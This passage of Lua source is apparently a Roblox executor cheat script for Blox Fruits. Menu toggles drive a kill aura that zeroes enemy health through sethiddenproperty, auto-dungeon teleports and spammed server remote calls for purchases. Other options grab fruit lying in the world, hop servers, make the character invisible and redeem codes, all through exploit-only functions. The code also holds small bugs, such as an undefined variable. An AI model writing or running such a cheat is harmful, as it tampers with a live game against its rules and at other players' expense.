                        for i,v in pairs(game:GetService("Workspace").Enemies:GetDescendants()) do
                            if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                pcall(function()
                                    repeat wait()
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                        v.Humanoid.Health = 0
                                        v.HumanoidRootPart.CanCollide = false
                                    until not _G.Auto_Dungeon or not v.Parent or v.Humanoid.Health <= 0
                                end)
                            end
                        end
                    end
                end
            end
        end)
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.Auto_Dungeon then
                    if game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Timer.Visible == true then
                        if game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 5") then
                            topos(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 5").CFrame*CFrame.new(0,25,0))
                        elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 4") then
                            topos(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 4").CFrame*CFrame.new(0,25,0))
                        elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 3") then
                            topos(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 3").CFrame*CFrame.new(0,25,0))
                        elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 2") then
                            topos(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 2").CFrame*CFrame.new(0,25,0))
                        elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 1") then
                            topos(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 1").CFrame*CFrame.new(0,25,0))
                        end
                    end
                end
            end
        end)
    end)
    
    R:Toggle("Auto Awakener",_G.Auto_Awakener,function(value)
        _G.Auto_Awakener = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.Auto_Awakener then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Awakener","Check")
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Awakener","Awaken")
                end
            end
        end)
    end)
    R:Toggle("Kill Aura",nil,function(value)
    Killaura = value
    end) 
spawn(function()
    while wait() do
        if Killaura or _G.AutoRaid or RaidSuperhuman then
            for i,v in pairs(game.Workspace.Enemies:GetDescendants()) do
                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                    pcall(function()
                        repeat wait(.1)
                            sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)
                            v.Humanoid.Health = 0
                            v.HumanoidRootPart.CanCollide = false
                            v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                            v.HumanoidRootPart.Transparency = 0.8
                        until not Killaura or not _G.AutoRaid or not RaidSuperhuman or not v.Parent or v.Humanoid.Health <= 0
                    end)
                end
            end
        end
    end
end)

    R:Dropdown("Select Chips",{"Flame","Ice","Quake","Light","Dark","String","Rumble","Magma","Human: Buddha","Sand","Bird: Phoenix","Dough"},function(value)
        _G.SelectChip = value
    end)
    
    R:Toggle("Auto Select Dungeon",_G.AutoSelectDungeon,function(value)
        _G.AutoSelectDungeon = value
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoSelectDungeon then
                pcall(function()
                    if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flame-Flame") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flame-Flame") then
                        _G.SelectChip = "Flame"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Ice-Ice") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Ice-Ice") then
                        _G.SelectChip = "Ice"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Quake-Quake") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Quake-Quake") then
                        _G.SelectChip = "Quake"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Light-Light") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Light-Light") then
                        _G.SelectChip = "Light"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dark-Dark") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dark-Dark") then
                        _G.SelectChip = "Dark"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("String-String") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("String-String") then
                        _G.SelectChip = "String"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Rumble-Rumble") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Rumble-Rumble") then
                        _G.SelectChip = "Rumble"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Magma-Magma") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Magma-Magma") then
                        _G.SelectChip = "Magma"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Human-Human: Buddha Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Human-Human: Buddha Fruit") then
                        _G.SelectChip = "Human: Buddha"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Sand-Sand") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Sand-Sand") then
                        _G.SelectChip = "Sand"
                    elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Bird-Bird: Phoenix") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bird-Bird: Phoenix") then
                        _G.SelectChip = "Bird: Phoenix"
						 elseif game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dough-Dough") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bird-Bird: Phoenix") then
                        _G.SelectChip = "Dough"
                    else
                        _G.SelectChip = "Flame"
                    end
                end)
            end
        end
    end)
    
    R:Toggle("Auto Buy Chip",_G.AutoBuyChip,function(value)
        _G.AutoBuyChip = value
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoBuyChip then
                    if not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Special Microchip") or not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Special Microchip") then
                        if not game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 1") then
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("RaidsNpc", "Select", _G.SelectChip)
                        end
                    end
                end
            end
        end)
    end)
    
    R:Button("Buy Chip Select",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("RaidsNpc","Select",_G.SelectChip)
    end)
    
    R:Toggle("Auto Start Go To Dungeon",_G.Auto_StartRaid,function(value)
        _G.Auto_StartRaid = value
    end)
    
    spawn(function()
        while wait(.1) do
            pcall(function()
                if _G.Auto_StartRaid then
                    if game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Timer.Visible == false then
                        if not game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 1") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Special Microchip") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Special Microchip") then
                            if World2 then
                                fireclickdetector(game:GetService("Workspace").Map.CircleIsland.RaidSummon2.Button.Main.ClickDetector)
                            elseif World3 then
                                fireclickdetector(game:GetService("Workspace").Map["Boat Castle"].RaidSummon2.Button.Main.ClickDetector)
                            end
                        end
                    end
                end
            end)
        end
    end)
    
    R:Button("Start Go To Dungeon",function()
        if World2 then
            fireclickdetector(game:GetService("Workspace").Map.CircleIsland.RaidSummon2.Button.Main.ClickDetector)
        elseif World3 then
            fireclickdetector(game:GetService("Workspace").Map["Boat Castle"].RaidSummon2.Button.Main.ClickDetector)
        end
    end)
    
        R:Button("Next Island",function()
        pcall(function()
            if game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 5") then
                TP(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 5").CFrame*CFrame.new(0,70,100))
            elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 4") then
                TP(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 4").CFrame*CFrame.new(0,70,100))
            elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 3") then
                TP(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 3").CFrame*CFrame.new(0,70,100))
            elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 2") then
                TP(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 2").CFrame*CFrame.new(0,70,100))
            elseif game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 1") then
                TP(game:GetService("Workspace")["_WorldOrigin"].Locations:FindFirstChild("Island 1").CFrame*CFrame.new(0,70,100))
            end
        end)
    end)
    
    if World2 then
        R:Button("Teleport to Lab",function()
            TP(CFrame.new(-6438.73535, 250.645355, -4501.50684))
            end)
    elseif World3 then
        R:Button("Teleport to Lab",function()
            TP(CFrame.new(-5017.40869, 314.844055, -2823.0127, -0.925743818, 4.48217499e-08, -0.378151238, 4.55503146e-09, 1, 1.07377559e-07, 0.378151238, 9.7681621e-08, -0.925743818))
        end)
    end
    
    if World2 then
        R:Button("Awakening Room",function()
            TP(CFrame.new(266.227783, 1.39509034, 1857.00732))
        end)
    elseif World3 then
        R:Button("Awakening Room",function()
            TP(CFrame.new(-11571.440429688, 49.172668457031, -7574.7368164062))
        end)
    end

    S:Seperator("Abilities")
    
    S:Button("Buy Geppo",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyHaki","Geppo")
    end)
    
    S:Button("Buy Buso Haki",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyHaki","Buso")
    end)
    
    S:Button("Buy Soru",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyHaki","Soru")
    end)
    
    S:Button("Buy Observation(Ken) Haki",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("KenTalk","Buy")
    end)
    
    S:Seperator("Fighting Style")
    
    S:Button("Buy Black Leg",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyBlackLeg")
    end)
    
    S:Button("Buy Electro",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectro")
    end)
    
    S:Button("Buy Fishman Karate",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyFishmanKarate")
    end)
    
    S:Button("Buy Dragon Claw",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","DragonClaw","1")
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","DragonClaw","2")
    end)
    
    S:Button("Buy Superhuman",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySuperhuman")
    end)
    
    S:Button("Buy Death Step",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyDeathStep")
    end)
    
    S:Button("Buy Sharkman Karate",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySharkmanKarate",true)
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuySharkmanKarate")
    end)
    
    S:Button("Buy Electric Claw",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectricClaw")
    end)
    
    S:Button("Buy Dragon Talon",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyDragonTalon")
    end)
    
    -----Shop----------------
    
    S:Seperator("Accessory")
    
    S:Button("Tomoe Ring",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Tomoe Ring")
    end)
    
    S:Button("Black Cape",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Black Cape")
    end)
    
    S:Button("Swordsman Hat",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Swordsman Hat")
    end)
    
    S:Seperator("Sword")
    
    S:Button("Cutlass",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Cutlass")
    end)
    
    S:Button("Katana",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Katana")
    end)
    
    S:Button("Iron Mace",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Iron Mace")
    end)
    
    S:Button("Duel Katana",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Duel Katana")
    end)
    
    S:Button("Triple Katana", function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Triple Katana")
    end)
    
    S:Button("Pipe",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Pipe")
    end)
    
    S:Button("Dual Headed Blade",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Dual-Headed Blade")
    end)
    
    S:Button("Bisento",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Bisento")
    end)
    
    S:Button("Soul Cane",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Soul Cane")
    end)
    
    S:Seperator("Gun")
    
    S:Button("Slingshot",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Slingshot")
    end)
    
    S:Button("Musket",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Musket")
    end)
    
    S:Button("Flintlock",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Flintlock")
    end)
    
    S:Button("Refined Flintlock",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Refined Flintlock")
    end)
    
    S:Button("Cannon",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyItem","Cannon")
    end)
    
    S:Button("Kabucha",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","Slingshot","1")
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","Slingshot","2")
    end)
    
    D:Seperator("Sniper")
    
    FruitList = {
        "Bomb-Bomb",
        "Spike-Spike",
        "Chop-Chop",
        "Spring-Spring",
        "Kilo-Kilo",
        "Spin-Spin",
        "Bird: Falcon",
        "Smoke-Smoke",
        "Flame-Flame",
        "Ice-Ice",
        "Sand-Sand",
        "Dark-Dark",
        "Revive-Revive",
        "Diamond-Diamond",
        "Light-Light",
        "Love-Love",
        "Rubber-Rubber",
        "Barrier-Barrier",
        "Magma-Magma",
        "Door-Door",
        "Quake-Quake",
        "Human-Human: Buddha",
        "String-String",
        "Bird-Bird: Phoenix",
        "Rumble-Rumble",
        "Paw-Paw",
        "Gravity-Gravity",
        "Dough-Dough",
        "Venom-Venom",
        "Shadow-Shadow",
        "Control-Control",
        "Soul-Soul",
        "Dragon-Dragon",
		"Leopard-Leopard"
    }
    
    _G.SelectFruit = ""
    D:Dropdown("Select Fruits Sniper",FruitList,function(value)
        _G.SelectFruit = value
    end)
    
    D:Toggle("Auto Buy Fruit Sniper",_G.AutoBuyFruitSniper,function(value)
        _G.AutoBuyFruitSniper = value
    end)
    
    D:Seperator("Others")
    
    D:Dropdown("Select Fruits Eat",FruitList,function(value)
        _G.SelectFruitEat = value
    end)
    
    D:Toggle("Auto Eat Fruit",_G.AutoEatFruit,function(value)
        _G.AutoEatFruit = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.AutoEatFruit then
                    game:GetService("Players").LocalPlayer.Character:FindFirstChild(_G.SelectFruitEat).EatRemote:InvokeServer()
                end
            end
        end)
    end)
    
    D:Toggle("Auto Eat Fruit Hop",_G.AutoEatFruitHop,function(value)
        _G.AutoEatFruitHop = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do wait(10)
                if _G.AutoEatFruitHop and _G.SelectFruitEat ~= nil then
                    if not game:GetService("Players").LocalPlayer.Character:FindFirstChild(_G.SelectFruitEat) or not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild(_G.SelectFruitEat) then
                        Hop()
                    else
                        game:GetService("Players").LocalPlayer.Character:FindFirstChild(_G.SelectFruitEat).EatRemote:InvokeServer()
                    end
                end
            end
        end)
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.AutoBuyFruitSniper then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("GetFruits")
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("PurchaseRawFruit",_G.SelectFruit)
                end 
            end
        end)
    end)
    
    D:Toggle("Auto Random Fruit",_G.Random_Auto,function(value)
        _G.Random_Auto = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.Random_Auto then
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Cousin","Buy")
                end 
            end
        end)
    end)
    
    D:Button("Random Fruit",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Cousin","Buy")
    end)
    
        D:Button("Open Devil Shop",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("GetFruits")
        game:GetService("Players").LocalPlayer.PlayerGui.Main.FruitShop.Visible = true
    end)
    
    D:Toggle("Auto Drop Fruit",_G.DropFruit,function(value)
        _G.DropFruit = value
    end)
            D:Toggle("Take a random fruit from the inventory",_G.Setting_table.Get_Fruit,function(value)
  _G.Setting_table.Get_Fruit = vu
	Update_Setting(getgenv()['MyName'])
    end)

	spawn(function()
    while wait(.5) do
        pcall(function()
            if _G.Setting_table.Get_Fruit then
                if Inventory_Fruit then
                    Inventory_Fruit = nil
                end
                fruit = game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("getInventoryFruits")
                for i,v in pairs(fruit) do
                    if v["Price"] < 10000000 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("LoadFruit",v["Name"])
                    end
                end
			else
				wait(2)
            end
        end)
    end
end)
    spawn(function()
        while wait() do
            if _G.DropFruit then
                pcall(function()
                    for i,v in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do
                        if string.find(v.Name, "Fruit") then
                            EquipWeapon(v.Name)
                            wait(.1)
                            if game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible == true then
                                game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible = false
                            end
                            EquipWeapon(v.Name)
                            game:GetService("Players").LocalPlayer.Character:FindFirstChild(SelectFruit).EatRemote:InvokeServer("Drop")
                        end
                    end
                for i,v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
                        if string.find(v.Name, "Fruit") then
                            EquipWeapon(v.Name)
                            wait(.1)
                            if game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible == true then
                                game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible = false
                            end
                            EquipWeapon(v.Name)
                            game:GetService("Players").LocalPlayer.Character:FindFirstChild(SelectFruit).EatRemote:InvokeServer("Drop")
                        end
                    end
                end)
            end
        end
    end)
    
    D:Toggle("Auto Store Fruit",_G.AutoStoreFruit,function(value)
        _G.AutoStoreFruit = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.AutoStoreFruit then
                    for i,v in pairs(FruitList) do
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("StoreFruit",v)
                    end
                end
            end
        end)
    end)
    
    
    D:Toggle("Grab Fruit",_G.BringFruit,function(value)
        _G.BringFruit = value
        pcall(function()
            while _G.BringFruit do wait(.1)
                for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
                    if v:IsA("Tool") then
                        local OldCFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame				
                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = v.Handle.CFrame * CFrame.new(0,0,8)
                        v.Handle.CFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame
                        wait(.1)
                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = OldCFrame
                    end
                end
            end
        end)
    end)
    
        D:Toggle("Bring All Fruit 75% Kick System",_G.BringFruitBF,function(value)
        _G.BringFruitBF = value
    end)
    
    spawn(function()
        while wait() do
            if _G.BringFruitBF then
                pcall(function()
                    for i,v in pairs(game.Workspace:GetChildren()) do
                        if v:IsA("Tool") then
                            v.Handle.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
                        end
                    end	
                end)
            end
        end
    end)


    Misc:Seperator("Server")
    
    Misc:Button("Rejoin Server",function()
        game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer)
    end)
    
    Misc:Button("Server Hop",function()
        Hop()
    end)
    
    Misc:Button("Hop To Lower Player",function()
        getgenv().AutoTeleport = true
        getgenv().DontTeleportTheSameNumber = true 
        getgenv().CopytoClipboard = false
        if not game:IsLoaded() then
            print("Game is loading waiting...")
        end
        local maxplayers = math.huge
        local serversmaxplayer;
        local goodserver;
        local gamelink = "https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100" 
        function serversearch()
            for _, v in pairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync(gamelink)).data) do
                if type(v) == "table" and v.playing ~= nil and maxplayers > v.playing then
                    serversmaxplayer = v.maxPlayers
                    maxplayers = v.playing
                    goodserver = v.id
                end
            end       
        end
        function getservers()
            serversearch()
            for i,v in pairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync(gamelink))) do
                if i == "nextPageCursor" then
                    if gamelink:find("&cursor=") then
                        local a = gamelink:find("&cursor=")
                        local b = gamelink:sub(a)
                        gamelink = gamelink:gsub(b, "")
                    end
                    gamelink = gamelink .. "&cursor=" ..v
                    getservers()
                end
            end
        end 
        getservers()
        if AutoTeleport then
            if DontTeleportTheSameNumber then 
                if #game:GetService("Players"):GetPlayers() - 4  == maxplayers then
                    return warn("It has same number of players (except you)")
                elseif goodserver == game.JobId then
                    return warn("Your current server is the most empty server atm") 
                end
            end
            game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, goodserver)
        end
    end)
    
    Misc:Button("Open Devil Shop",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("GetFruits")
        game:GetService("Players").LocalPlayer.PlayerGui.Main.FruitShop.Visible = true
    end)
    
    Misc:Button("Open Inventory",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("getInventoryWeapons")
        wait(1)
        game:GetService("Players").LocalPlayer.PlayerGui.Main.Inventory.Visible = true
    end)
    
    Misc:Button("Open Inventory Fruit",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("getInventoryFruits")
        game:GetService("Players").LocalPlayer.PlayerGui.Main.FruitInventory.Visible = true
    end)
    
    Misc:Button("Title Name",function()
    local args = {
        [1] = "getTitles"
    }
    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
    game.Players.localPlayer.PlayerGui.Main.Titles.Visible = true
end)

Misc:Button("Color Haki",function()
    game.Players.localPlayer.PlayerGui.Main.Colors.Visible = true
end)
    
    Misc:Toggle("Highlight Mode",false,function(value)
        if value == true then
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Beli.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.HP.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Energy.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.StatsButton.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.ShopButton.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Skills.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Level.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.MenuButton.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Code.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Settings.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Mute.Visible = false
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.CrewButton.Visible = false
        else
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Beli.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.HP.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Energy.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.StatsButton.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.ShopButton.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Skills.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Level.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.MenuButton.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Code.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Settings.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.Mute.Visible = true
            game:GetService("Players")["LocalPlayer"].PlayerGui.Main.CrewButton.Visible = true
        end
    end)
    
    Misc:Seperator("Teams")
    
    Misc:Button("Join Pirates Team",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("SetTeam","Pirates") 
    end)
    
    Misc:Button("Join Marines Team",function()
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("SetTeam","Marines") 
    end)
    
    Misc:Seperator("Boost")
    
    Misc:Button("Unlock Portal",function()
        _G.UnlockPortal = true
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if _G.UnlockPortal == true then
                    for i,v in pairs(game:GetService("Players").LocalPlayer.PlayerGui.Notifications:GetChildren()) do
                        if v.Name == "NotificationTemplate" then
                            if string.find(v.Text,"cannot") then
                                v:Destroy()
                            end
                        end
                    end
                end
            end)
        end
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if _G.UnlockPortal == true then
                    CastlePostoMansion = CFrame.new(-5084.8447265625, 316.48101806641, -3145.3752441406)
                    MansiontoCastlePos = CFrame.new(-12464.596679688, 376.30590820312, -7567.2626953125)
                    Castletophydra = CFrame.new(-5095.33984375, 316.48101806641, -3168.3134765625)
                    HydratoCastle = CFrame.new(5741.869140625, 611.94750976562, -282.61154174805)
                    if (CastlePostoMansion.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 8 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-12471.169921875, 374.94024658203, -7551.677734375))
                    end
                    if (MansiontoCastlePos.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 8 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-5072.08984375, 314.5412902832, -3151.1098632812))
                    end
                    if (Castletophydra.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 8 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(5748.7587890625, 610.44982910156, -267.81704711914))
                    end
                    if (HydratoCastle.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 8 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(-5072.08984375, 314.5412902832, -3151.1098632812))
                    end
                end
            end)
        end
    end)
    
    Misc:Button("Invisible",function()
        game:GetService("Players").LocalPlayer.Character.LowerTorso:Destroy()
    end)
    
    Misc:Button("Click TP Tool",function()
        local plr = game:GetService("Players").LocalPlayer
        local mouse = plr:GetMouse()
        local tool = Instance.new("Tool")
        tool.RequiresHandle = false
        tool.Name = "Teleport Tool"
        tool.Activated:Connect(function()
        local root = plr.Character.HumanoidRootPart
        local pos = mouse.Hit.Position+Vector3.new(0,2.5,0)
        local offset = pos-root.Position
        root.CFrame = root.CFrame+offset
        end)
        tool.Parent = plr.Backpack
    end)
    
    Misc:Button("Stop All Tween",function()
        topos(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame)
        _G.Clip = false
    end)
    
    Misc:Seperator("Codes")
    
    local x2Code = {
        "3BVISITS",
        "UPD16",
        "FUDD10",
        "BIGNEWS",
        "THEGREATACE",
        "SUB2GAMERROBOT_EXP1",
        "StrawHatMaine",
        "Sub2OfficialNoobie",
        "SUB2NOOBMASTER123",
        "Sub2Daigrock",
        "Axiore",
        "TantaiGaming",
        "STRAWHATMAINE"
    }
    
    Misc:Button("Redeem All Codes",function()
        function RedeemCode(value)
            game:GetService("ReplicatedStorage").Remotes.Redeem:InvokeServer(value)
        end
        for i,v in pairs(x2Code) do
            RedeemCode(v)
        end
    end)
    
    Misc:Dropdown("Selected Codes Reset stat",{"RESET_5B","SUB2GAMERROBOT_RESET1","Sub2UncleKizaru"},function(value)
        _G.CodeSelect = value
    end)
    
    Misc:Button("Redeem Code (Selected Codes)",function()
        game:GetService("ReplicatedStorage").Remotes.Redeem:InvokeServer(_G.CodeSelect)
    end)
    
    Misc:Seperator("State")
    
    Misc:Dropdown("Select Haki State",{"State 0","State 1","State 2","State 3","State 4","State 5"},function(value)
        _G.SelectStateHaki = value
    end)
    
    Misc:Button("Change Buso Haki State",function()
        if _G.SelectStateHaki == "State 0" then
            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("ChangeBusoStage",0)
